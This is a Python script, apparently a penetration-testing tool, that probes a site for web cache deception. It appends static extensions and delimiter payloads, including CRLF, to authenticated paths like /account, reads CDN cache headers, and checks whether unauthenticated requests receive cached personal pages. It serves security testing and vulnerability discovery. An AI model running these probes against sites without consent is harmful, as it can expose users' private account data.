#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""Agent for testing web cache deception vulnerabilities.

Appends static file extensions to authenticated URLs to test
whether CDN/proxy caches serve personalized content to other users.
"""

import json
import os
import requests
import sys
from datetime import datetime


CACHE_EXTENSIONS = [".css", ".js", ".png", ".jpg", ".gif", ".ico",
                    ".svg", ".woff", ".woff2", ".pdf", ".txt"]

CACHE_HEADERS = ["X-Cache", "X-Cache-Status", "CF-Cache-Status",
                 "Age", "X-Varnish", "X-Proxy-Cache", "X-CDN-Cache"]


class WebCacheDeceptionAgent:
    """Tests for web cache deception vulnerabilities."""

    def __init__(self, target_url, auth_cookie=None, auth_header=None):
        self.target_url = target_url.rstrip("/")
        self.session = requests.Session()
        if auth_cookie:
            self.session.cookies.set(*auth_cookie.split("=", 1))
        if auth_header:
            self.session.headers["Authorization"] = auth_header
        self.findings = []

    def check_cache_headers(self, response):
        """Extract cache-related headers from response."""
        cache_info = {}
        for header in CACHE_HEADERS:
            val = response.headers.get(header)
            if val:
                cache_info[header] = val
        cache_info["Cache-Control"] = response.headers.get("Cache-Control", "")
        return cache_info

    def test_path_confusion(self, authenticated_path="/account"):
        """Test cache deception via path confusion with static extensions."""
        url = f"{self.target_url}{authenticated_path}"
        results = []

        baseline = self.session.get(url, timeout=10, allow_redirects=False)
        baseline_len = len(baseline.text)
        baseline_has_pii = self._check_pii(baseline.text)

        for ext in CACHE_EXTENSIONS:
            test_url = f"{url}/nonexistent{ext}"
            try:
                resp = self.session.get(test_url, timeout=10, allow_redirects=False)
                cache_info = self.check_cache_headers(resp)
                cached = any(v.lower() in ("hit", "true", "1")
                             for v in cache_info.values() if isinstance(v, str))
                content_match = abs(len(resp.text) - baseline_len) < 100

                if content_match and resp.status_code == 200:
                    unauth = requests.get(test_url, timeout=10)
                    served_to_unauth = abs(len(unauth.text) - baseline_len) < 100

                    if served_to_unauth:
                        self.findings.append({
                            "type": "Web Cache Deception",
                            "severity": "Critical",
                            "url": test_url,
                            "extension": ext,
                            "cached_pii": baseline_has_pii,
                        })

                results.append({
                    "extension": ext, "url": test_url,
                    "status": resp.status_code,
                    "content_match": content_match,
                    "cache_headers": cache_info,
                    "cached": cached,
                })
            except requests.RequestException:
                continue
        return results

    def test_delimiter_confusion(self, authenticated_path="/account"):
        """Test path delimiter confusion (semicolon, hash, question mark)."""
        delimiters = [";", "%23", "%3f", "%3b", "\r\n"]
        results = []
        for delim in delimiters:
            for ext in [".css", ".js", ".png"]:
                test_url = f"{self.target_url}{authenticated_path}{delim}test{ext}"
                try:
                    resp = self.session.get(test_url, timeout=10)
                    cache_info = self.check_cache_headers(resp)
                    results.append({
                        "delimiter": delim, "extension": ext,
                        "status": resp.status_code,
                        "cache_headers": cache_info,
                    })
                except requests.RequestException:
                    continue
        return results

    def _check_pii(self, text):
        """Check if response contains PII indicators."""
        pii_indicators = ["email", "username", "name", "address", "phone",
                          "ssn", "credit", "account", "@"]
        return any(indicator in text.lower() for indicator in pii_indicators)

    def generate_report(self):
        report = {
            "target": self.target_url,
            "report_date": datetime.utcnow().isoformat(),
            "vulnerable": len(self.findings) > 0,
            "findings_count": len(self.findings),
            "findings": self.findings,
        }
        print(json.dumps(report, indent=2))
        return report


def main():
    url = sys.argv[1] if len(sys.argv) > 1 else os.environ.get("TARGET_URL", "http://localhost:8080")
    path = sys.argv[2] if len(sys.argv) > 2 else "/account"
    cookie = sys.argv[3] if len(sys.argv) > 3 else None
    agent = WebCacheDeceptionAgent(url, auth_cookie=cookie)
    agent.test_path_confusion(path)
    agent.test_delimiter_confusion(path)
    agent.generate_report()


if __name__ == "__main__":
    main()
